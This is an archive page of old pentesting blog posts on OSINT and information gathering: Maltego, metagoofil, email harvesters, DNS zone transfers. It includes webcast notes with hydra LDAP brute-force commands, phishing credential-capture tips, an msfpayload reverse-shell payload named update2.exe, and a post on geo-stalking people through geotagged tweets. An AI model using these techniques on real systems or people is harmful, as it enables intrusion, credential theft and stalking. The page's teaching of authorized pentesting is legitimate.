Showing posts with label information Gathering. Show all posts
Showing posts with label information Gathering. Show all posts

Tuesday, November 6, 2012

Geo-stalking with Bing Maps and the Twitter Maps App

Geo/Social stalking is fun.  Bing maps has the ability to add various "apps" to the map to enhance your bind maps experience. One of the cooler ones is the Twitter Map app which lets you map geotagged tweets.

Let's start with somewhere fun, like the pentagon, and see who's tweeting around there


Once you have your places picked out, you can click on the Map Apps tab.



If you click on the twitter maps app, it loads recent geo-tagged tweets


As you zoom in, you get a bit more detail


You can also follow specific users and follow them around town :-)


thanks to indi303 for telling me about this

-CG

Wednesday, May 20, 2009

Carnal0wnage will be a BruCon!

I'm happy to announce that I'll be speaking at Brucon in September (18-19) on Open Source Information Gathering.

This is an update to my set of talks last year. After a year of doing OSINT work I've revised the methodology and it should be a pretty good update to the previous talk. I'm planning on focusing a lot on Person/Organization Information Gathering (IG) and should be followed by Chris Nickerson talking about Red and Tiger Team Testing(I call it Full Scope testing) aka putting all the "stuff" we found in my talk to actual use.

should be a good time. plus hoeagaarden on tap!

check the Brucon blog for up to date info
http://blog.brucon.org/

Monday, April 6, 2009

Maltego for Network Infrastructure Enumeration

New article on Using Maltego for Network Infrastructure Enumeration posted on EthicalHacker.net


Any organization that has an Internet presence needs to have some form of infrastructure to support their presence. During Infrastructure Enumeration you attempt to discover how much of it exists, what type of infrastructure is used, where it is located, what technology is used and how it is structured. This type of information is interesting for:

* Security assessments (as this is the first and most tedious phase of any external assessment).
* Getting an idea of the organization’s Internet and geographical presence.
* Gaining insight into the technology used by the organization.
* Making connections between seemingly unconnected organizations (as they might be sharing common infrastructure).
* Getting a list of brands or affiliations supported by the organization.

Read the article over on EthicalHacker.net
http://www.ethicalhacker.net/content/view/251/24/

Wednesday, February 4, 2009

New Shool Information Gathering Toorcon X Edition Video

I ripped the DVD from my talk at Toorcon X on New School Information Gathering.

Should be embedded below.


Toorcon X Gates: New School Information Gathering from carnal0wnage on Vimeo.

Sorry I dont have other videos and dont know when/if they will ever be released.

Thursday, October 9, 2008

Notes from SANS Beyond Front-Line Exploits Webcast

Webcast http://www.sans.org/webcasts/show.php?webcastid=91586

Beyond Front-Line Exploits:
Tips and Tools for Comprehensive Penetration Testing

Lenny Zeltser August 2008

#1 Data in plain sight:

-(slide 6/7) site:example.com filetype:pdf
-(slide 8/9)Libextractor for extracting metadata
-(slide 10) Metagoofil
-(slide 11/12)maltego

#2: Remote Password-Guessing

-If you dont find possible usernames using the info in Data In Plain Sight, you can generate your own using
US Census to generate Top Last Names, Top Female First Names, Top Male First Names
http://www.census.gov/genealogy/names/names_files.html

*you'll have to figure out the naming convention for the company your auditing

**my note: have your top 40 username/pass I also have one for mssql passwords, at least you can do a "low hanging fruit" type check besides checking for null passwod

-(slide 15)theharvester for email gathering -use google, linkedin, pgp
-(slide 16) see if webpage gives you a clue if your username/pass is wrong username or wrong password based on error messages in the app
-(slide 17) validate usernames using brutus if the app return useful error messages
-(slide 18/19) create a list of good usernames and a short list of passwords that are worth trying "remote password guessing" writeup on ISC
-(slide 20) Accent Keyword Extractor, keywords that could be passwords for people in the company
-(slide 21) is the password recovery mechanism a weak link? ask you for secret question and display new password, can you use the app to find valid usernames? where if i enter in the wrong username it says i dont know who you are, where if i enter in a correct username a i get a secret question prompt
-(slide 24) if ldap exposed or queriable -- Ldap bruteforce with hydra $ hydra -L users.txt –P passwords.txt ldap.example.com ldap2 or $ k0ld –f users.txt -w passwords.txt -I -o out.txt -f 'cn=*' -h ldap.example.com k0ld is supposedly written specificicaly for ldap
-(slide 25) tsgrinder -- need old version or RDP client for tsgrinder to work, need version 5
** tut by me http://www.ethicalhacker.net/content/view/106/24/
** default 2k3 password complexity with shut this tool down without a good dictionary

#3: Social engineering
**just ask for what you need!
-(slide 29) email phish example for password reset
-(slide 30) ArGoSoft Mail Server Freeware allows you to relaymail locally
-(slide 31) register a similar domain name as your target, use domaintools.com to check for you. http://www.domaintools.com/domain-typo
-(slide 32) just present an error message after the user inputs creds to
-(slide 33) php backend and plugins to grab important data
USER: jsmith
PASSWORD: plumlips
LOCAL IP: 192.168.2.144
REMOTE IP: 208.77.188.166
PORT: 61035
USER AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
PLUGINS: Move Media Player; QuickTime Plug-in 7.4.1;
Mozilla Default Plug-in; RealJukebox NS Plugin;
RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit);
Shockwave Flash; Java(TM) Platform SE 6 U2;

*current browsers are not allowing to pull local IP easily

#4: Client-Side Backdoors

-(slide 35/36) target those 3rd party client side vulnerabilities -- delivery is still email or web
-(slide 37) just ask user to install the malware
-(slide 38/39) reverse shell out to attacker, or use msfpayload, he used VNCreverse
$ msfpayload windows/vncinject/reverse_tcp LPORT=5544
LHOST=192.168.1.124 DisableCourtesyShell=True X >
update2.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/vncinject/reverse_tcp
Length: 177
Options: LHOST=192.168.1.124,LPORT=5544,
DisableCourtesyShell=True

$ msfcli exploit/multi/handler LPORT=5544
PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.124
DisableCourtesyShell=True E

-(slide 43) try to get some new things brought into scope for pentests especialy client sides

-from the questions, mindmap all that info above to organize, freemind is a free version

Thursday, October 2, 2008

New School Information Gathering ToorconX edition

Here is the outline for my New School Information Gathering talk that I gave at ToorconX.

Open Source Intelligence Gathering (OSINT)‏
FierceDNS
SEAT/Goolag
Google Mail Harvesters
Metagoofil
Online Tools: ServerSniff/DomainTools/CentralOps/Clez.net/Robtex/Spoke
Tying it all together with Maltego

I hid several slides to get the talk into the 20 minute time frame but you should see them in the posted slide deck.

Slides are available here:
http://www.carnal0wnage.com/research/Carnal-NewSchool-ToorconX.pdf

Comments and feedback are always welcome even though I received nothing back from all the people that emailed me asking for them last time :-(

-CG

Thursday, July 17, 2008

Lack of usable emails for your pentest got you down...metagoofil FTW!

Hopefully a useful day in the life of a pentest post...

So there I was, trying to gather emails for our pentest. The only problem is that we were doing an assessment of city.domain.com but all the emails are listed as @domain.com. Just for clarification, searching domain.com for email addresses wouldn't necessarily give me emails that were in scope, so I had to think of something.

First step was some google-fu of "site:city.domain.com + @domain.com" that brought in a few emails addresses in. Next step was metagoofil. Metagoofil is awesome because it will download ms office, open office, and pdf documents from the domain you specify. It will parse the metadata and give you a list of the usernames in the documents and the path to where the document was saved.

How it works (images from the Edge-Security site)


It downloads the documents to your local computer so you can view them for extra info gatherings. It also gives you a nice little html page with the results.



After that I took the possible usernames, put them in the proper naming convention for the domain, rocketed off my SE email and crossed my fingers.

The result? Metagoofil for the win! Overall I had about 160 possible email addresses, 20 actually made it to someone's inbox...sad face but not bad considering how I got the possibles.

5 of the 20 opened it :-)
2 were forwarded (meaning the user that opened it was not initially emailed), 1 was from google, and 2 of the 5 were from metagoofil :-)

Not bad if you ask me.

Thursday, July 3, 2008

Maltego for Information Gathering Part I

The first part of my article on Maltego for Information Gathering is available on EthicalHacker.net

http://www.ethicalhacker.net/content/view/202/24/

"According to their web site, "Paterva invents and sells unique data manipulation software. Paterva is headed by Roelof Temmingh who is leading a light and lethal team of talented software developers." On May 6 2008, they released a new version of a very kewl tool named Maltego.

"Maltego, is an open source intelligence and forensics application. It allows for the mining and gathering of information as well as the representation of this information in a meaningful way. Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identify previously unknown relationships between them. It is a must-have tool in the forensics.security and intelligence fields!"

Chris Gates' talk at ChicagoCon 2008s entitled "New School Information Gathering" touched on many tools and techniques. One of the tools he introduced to the audience is Maltego v2. This first in a two part series expands on this new tool with a basic introduction to Maltego followed by step-by-step personal recon tutorials. Part II will focus on infrastructure enumeration with Maltego."

Friday, June 6, 2008

1984 was a typo! -- No Place to Hide Pseudo Book Review

I really blame phn1x for actually answering my question of what Safeway does with the information of what you buy and suggesting the book "No Place to Hide" by Robert O'Harrow.

Google Books Link:
http://books.google.com/books?hl=en&id=caydrFMa1mIC&dq

I won't do the typical review I do because its not a "tech" book but I will say that it was eye opening. I'm embarrassed to not know the scope of information (and how easily we give it up) that is being accumulated about us by different commercial organizations (ChoicePoint, Acxiom, and more), computer generated models of our likes and dislikes formulated and sold to various vendors, private information about us from marriage, mortgages, books checked out from the library, you name it, and of course that information being easily sold to the government so they can live up to laws forbidding the government from spying on citizens by the government itself not actually doing the spying but merely buying data and services from these vendors.

I don't want to go all Dale Gribble (more) but some fun/spooky/scary things from the book.

1. you dont have to fill out warranty cards that ask for all that personal info like how much you make and what kind of car you drive. By law all products have a 1 yr warranty without you having to mail in that registration card.

2. your phone number is your new SSN and the "key" tying good chunks of your data to you. Add your zip code to make sure there are no mistakes.

3. where do these companies get the data? From: telephone directories, voter registrations forms, tax assessor offices, questionnaires, warranty cards, catalog buyer behavior information, and product registration forms.

4. who generated the initial no fly lists? yep those companies.

5. best part, all the data policing is done by the companies and not the government.

And for a real world example, in my mailbox yesterday was some junk mail from some Baptist church. Of course called and said thanks for the letter but how the f**k did you get my name and address. The utility company gave it to them...WTF.

EFF and EPIC can expect good donations this year, as long as they don't write down my name and address so the government doesn't have its initial start list of dissidents when things go south. But its probably waaaaaaay to late to worry about that. I know I'm already on that list.

For Cons of the book, read the reviews on amazon they mostly say the same thing. Basically great information, but no remediation. fI there even is any at this point.

If you want to see what they have on you, at least ChoicePoint appears to do this for free if you are willing to cough up some information.
http://www.choicepoint.com/consumer/all_products.html

also opt-out info:
http://www.privacyatchoicepoint.com/optout_ext.html

Friday, May 16, 2008

New School Information Gathering Talk at ChicagoCon


Gave my New School Information Gathering talk at ChicagoCon. I think it went pretty well and I got some good feedback on it afterwards.

here was the agenda:

Open Source Intelligence Gathering (OSINT)‏
FierceDNS
SEAT/Goolag
Google Mail Harvesters
Metagoofil
Online Tools
Netcraft/ServerSniff/DomainTools/CentralOps/Clez.net/Robtex
Maltego

I was pretty surprised that most people had not heard of the tools and only like 3 people had heard of Maltego. I should have a Maltego v2 review getting pushed out on EthicalHacker.net soon.

slides and audio should be out next week on the ChicagoCon site. If you are really anxious you can email me and I will probably send them to you.

Sunday, December 16, 2007

Zone Transfers Still Exist! -- No Really They Do!

So while helping a buddy out with an audit we came across a mis-configured DNS server that allows zone transfers (I know, we couldn't believe it either). Zone Transfers are one of those things that you read about in security books and even teach but you never think they work (like the ping of death), not quite like seeing a unicorn but kinda like finding a four leaf clover.

Here is some background information on Zone Transfers.

"The data contained in an entire DNS zone may be sensitive in nature. Individually, DNS records are not sensitive, but if a malicious entity obtains a copy of the entire DNS zone for a domain, they may have a complete listing of all hosts in that domain"

This is essentially what we were able to pull down from this DNS server, but not just information from its domain but many other domains because it was authoritative for a whole bunch of domains.


Examples:

Find out the name servers for a zone:

dig @server domain ns

Request all records for a zone from an authoritative server:

dig @server domain axfr

@server is the misconfigured DNS server, domain is the domain you are trying to get information on.

Use host to find all the host records for a zone:

host -l domain

Use host to request all the records for a zone:

host -lv -t any domain

this is what you usually see:

cg@segfault:~$ host -t ns really.vuln.edu

really.vuln.edu name server DNS1.really.vuln.edu.
really.vuln.edu name server DNS2.really.vuln.edu.

cg@segfault:~$ host -lv -t any really.vuln.edu DNS1.really.vuln.edu
Trying "really.vuln.edu"
Using domain server:
Name: DNS1.really.vuln.edu
Address: 192.168.60.150#53
Aliases:

Host really.vuln.edu not found: 5(REFUSED)
; Transfer failed.

The (sanitized) screenshots above is what we got, about 3k internal IPs and hostnames :-)

Of course, the easiest way to test this is to use dnswalk that will do the requests for you.

cg@segfault:~$ dnswalk
Usage: dnswalk domain
domain MUST end with a '.'

cg@segfault:~$ dnswalk really.vuln.edu. DNS1.really.vuln.edu
Checking really.vuln.edu.
Getting zone transfer of really.vuln.edu. from DNS1.really.vuln.edu...failed
FAIL: Zone transfer of really.vuln.edu. from DNS1.really.vuln.edu failed: Response code from server: REFUSED

Getting zone transfer of really.vuln.edu. from dns3.really.vuln.edu...done.
SOA=DNS1.really.vuln.edu contact=admin.nowhere.really.vuln.edu
WARN: router-10.1.1.0.really.vuln.edu A 10.1.1.1: no PTR record
WARN: router_10.2.2.1.really.vuln.edu: invalid character(s) in name
WARN: router_10.3.19.1.really.vuln.edu A 10.115.197.1: no PTR record
...

-CG

Thursday, December 13, 2007

Paterva's Maltego for Information Gathering

If you haven't heard of Paterva's Maltego (formally Evolution) then you've been missing out! HD Moore and Valsmith first mentioned it in their tactical exploitation talk at Blackhat Vegas and Defcon.

From the Paterva Homepage:
  • Maltego is a program that can be used to determine the relationships and real world links between:
    • People
    • Groups of people (social networks)
    • Companies
    • Organizations
    • Web sites
    • Internet infrastructure such as:
      • Domains
      • DNS names
      • Netblocks
      • IP addresses
    • Phrases
    • Affiliations
    • Documents and files
The documentation walks you through the initial setup and accepting of the transforms and getting API keys pretty well, so I wont cover it (go read you lazy bums). Once you get through that its time to use it.

Maltego comes with windows and linux binaries, so just run it ./maltego


Before you can start using Maltego you need to go to tools -->Manage transforms, then follow the wizard (read the documentation). you'll need to register on the Paterva site to get your API key and a couple other sites to get API keys from them.

Here is how Maltego looks after you start it up. To use it, you drag an icon from the infrastructure or personal section to the Maltego Graph (blue) section.

Using Person --> Chris Gates as the search

You can see in the Transform Execution section the results you got back from the various transforms and your graph being populated with the results

The Person --> Chris Gates output. it found several email addresses, forum posts, my Amazon profile, and other stuff that wasnt me (there are actually a ton of Chris Gates' out there).


We could have added a key word to really get better results for me specifically but given that we know the learnsecurityonline.com email is mine, lets use that for another search.

Let's check out doing Infrastructure --> Domain for learnsecurityonline.com


Not bad, I don't think the phone numbers are correct but the other results are relevant. We could have also used the whois transform and DNS bruteforce transform to enumerate some more hosts in the domain and to get the IP space.

That should be enough to get you started, i've been having fun picking random security bloggers I dont know to see what i can dig up about them, very fun. While I don't have a screenshot, the metadata search is awesome when Maltego finds "office" type documents and can be useful to reinforce you are on the track with your search.

Links!
Paterva: http://www.paterva.com
Maltego Downloads: http://www.paterva.com/web2/maltego/maltego-gui-1.0-download.html
Maltego Documentation: http://www.paterva.com/web2/maltego/maltego-docs.html

Presentations on Maltego:
CansecWest07 Presentation [PPT] (1.8MB)
FIRST 2007 Presentation [PPT] (4.5MB)

Thursday, December 6, 2007

Info & and email gathering with google

There are a couple of neat tools that use google that can help you find email addresses for your client side pen-test...

googleharvester:

cg@segfault:~/evil/enumeration/google$ perl googleharvester0.3.pl
Usage: googleharvester.pl domain or googlefinger --help
cg@segfault:~/evil/enumeration/google$ perl googleharvester0.3.pl learnsecurityonline.com
Searching Results 0
Searching Results 10
Searching Results 20
Searching Results 30
Searching Results 40
Searching Results 50
Searching Results 60
Searching Results 70
Searching Results 80
Searching Results 90
Searching Results 100
Searching Results 110
Searching Results 120
Searching Results 130
Searching Results 140
Searching Results 150
Searching Results 160
Searching Results 170
Searching Results 180
Searching Results 190
encontreGoogleharvester results:

ad8m@learnsecurityonline.com
chr1s@learnsecurityonline.com
learnsecurityonline.com
1nfo@learnsecurityonline.com
j0e@learnsecurityonline.com
...j0e@learnsecurityonline.com

Total accounts: 6
cg@segfault:~/evil/enumeration/google$

goog-mail.py:

cg@segfault:~/evil/enumeration/google$ python goog-mail.py

Extracts emails from google results.

Usage : ./goog-mail.py

cg@segfault:~/evil/enumeration/google$ python goog-mail.py learnsecurityonline.com

+++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Google Web & Group Results:
+++++++++++++++++++++++++++++++++++++++++++++++++++++

ch...@learnsecurityonline.com
chr1s@learnsecurityonline.com
j...@learnsecurityonline.com
m...@learnsecurityonline.com
j0e@learnsecurityonline.com
cg@segfault:~/evil/enumeration/google$

finger-google.py:

cg@segfault:~/evil/enumeration/google/fingergoogle/fingergoogle-1.1$ python fingergoogle.py
Usage: fingergoogle.py [domain]

cg@segfault:~/evil/enumeration/google/fingergoogle/fingergoogle-1.1$ python fingergoogle.py learnsecurityonline.com
Links a navegar: 17
/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&ie=UTF-8&as_qdr=all&start=0&sa=N&filter=0
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=20&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=40&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=60&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=80&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=100&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=120&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=140&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=160&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=180&sa=N&filter=0"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=120&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=0&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=20&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=40&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=60&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=80&sa=N"
"/search?q=%40learnsecurityonline.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=100&sa=N"
To search: learnsecurityonline.com
joe
joe
joe
joe
joe
joe
joe
info
adam
adam
adam
joe
joe
info
adam
joe
joe
joe
joe
joe
joe
joe
joe
Accounts found: 3
joe
info
adam

please dont use me for your "client-side" pen test ;-)

-CG